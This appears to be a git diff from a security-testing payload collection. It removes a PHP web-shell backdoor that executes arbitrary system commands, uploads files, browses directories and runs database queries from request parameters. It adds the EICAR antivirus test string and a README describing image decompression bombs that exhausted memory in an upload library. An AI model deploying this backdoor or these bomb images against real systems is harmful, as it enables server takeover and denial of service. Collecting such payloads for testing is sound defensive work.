diff --git a/Payloads/FUZZDB_php-backdoor.php b/Payloads/FUZZDB_php-backdoor.php deleted file mode 100755 index 7defd37d..00000000 --- a/Payloads/FUZZDB_php-backdoor.php +++ /dev/null @@ -1,71 +0,0 @@ -"; - if ($handle = opendir("$d")) { - echo "

listing of $d

"; - while ($dir = readdir($handle)){ - if (is_dir("$d/$dir")) echo ""; - else echo ""; - echo "$dir\n"; - echo ""; - } - - } else echo "opendir() failed"; - closedir($handle); - die ("
"); -} -if(isset($_REQUEST['c'])){ - echo "
";
-	system($_REQUEST['c']);		   
-	die;
-}
-if(isset($_REQUEST['upload'])){
-
-		if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
-			else $dir=$_REQUEST['dir'];
-		$fname=$HTTP_POST_FILES['file_name']['name'];
-		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
-			die('file uploading error.');
-}
-if(isset($_REQUEST['mquery'])){
-	
-	$host=$_REQUEST['host'];
-	$usr=$_REQUEST['usr'];
-	$passwd=$_REQUEST['passwd'];
-	$db=$_REQUEST['db'];
-	$mquery=$_REQUEST['mquery'];
-	mysql_connect("$host", "$usr", "$passwd") or
-    die("Could not connect: " . mysql_error());
-    mysql_select_db("$db");
-    $result = mysql_query("$mquery");
-	if($result!=FALSE) echo "

query was executed correctly

\n"; - while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); - mysql_free_result($result); - die; -} -?> -
execute command:
-
-upload file: to dir:   
-
to browse go to http://?d=[directory here] -
for example: -http://?d=/etc on *nix -or http://?d=c:/windows on win -
execute mysql query: -
-host: user: password: - -database: query: -
- - diff --git a/Payloads/README.md b/Payloads/README.md new file mode 100644 index 00000000..d8c70a09 --- /dev/null +++ b/Payloads/README.md @@ -0,0 +1,29 @@ +## lottapixel + +Originally reported at https://hackerone.com/reports/390, addressed on paperclip. + +A specially crafted JPEG (the original file was named lottapixel.jpg) causes attempts to determine the dimensions of the image to exhaust available memory. From the original report: + +The exploit is really simple. I have an image of 5kb, 260x260 pixels. In the image itself I exchange the 260x260 values with 0xfafa x 0xfafa (so 64250x64250 pixels). Now from what I remember your service tries to convert the image once uploaded. By loading the 'whole image' into memory, it tries to allocate 4128062500 pixels into memory, flooding the memory and causing DoS. + +## uber.gif + +Current limits + +Image size: 1 MB +Image dimensions: 2048x2048px +File types: jpg/png/gif + +Another image hack + +A GIF composed of 40k 1x1 images made Paperclip freeze until timeout. + +As attachments I sent the file composed of 40k images, and a screenshot of the timeout. + +## EICAR File + +The EICAR Standard Anti-Virus Test File or EICAR test file is a computer file that was developed by the European Institute for Computer Antivirus Research (EICAR) and Computer Antivirus Research Organization (CARO), to test the response of computer antivirus (AV) programs. Instead of using real malware, which could do real damage, this test file allows people to test anti-virus software without having to use a real computer virus. + +Anti-virus programmers set the EICAR string as a verified virus, similar to other identified signatures. A compliant virus scanner, when detecting the file, will respond in exactly the same manner as if it found a harmful virus. Not all virus scanners are compliant, and may not detect the file even when they are correctly configured. + +The use of the EICAR test string can be more versatile than straightforward detection: a file containing the EICAR test string can be compressed or archived, and then the antivirus software can be run to see whether it can detect the test string in the compressed file. \ No newline at end of file diff --git a/Payloads/eicar.com.txt b/Payloads/eicar.com.txt new file mode 100644 index 00000000..a2463df6 --- /dev/null +++ b/Payloads/eicar.com.txt @@ -0,0 +1 @@ +X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* \ No newline at end of file diff --git a/Payloads/lottapixel.jpg b/Payloads/lottapixel.jpg new file mode 100644 index 00000000..e25c2d30 Binary files /dev/null and b/Payloads/lottapixel.jpg differ diff --git a/Payloads/uber.gif b/Payloads/uber.gif new file mode 100644 index 00000000..a7a6d7d1 Binary files /dev/null and b/Payloads/uber.gif differ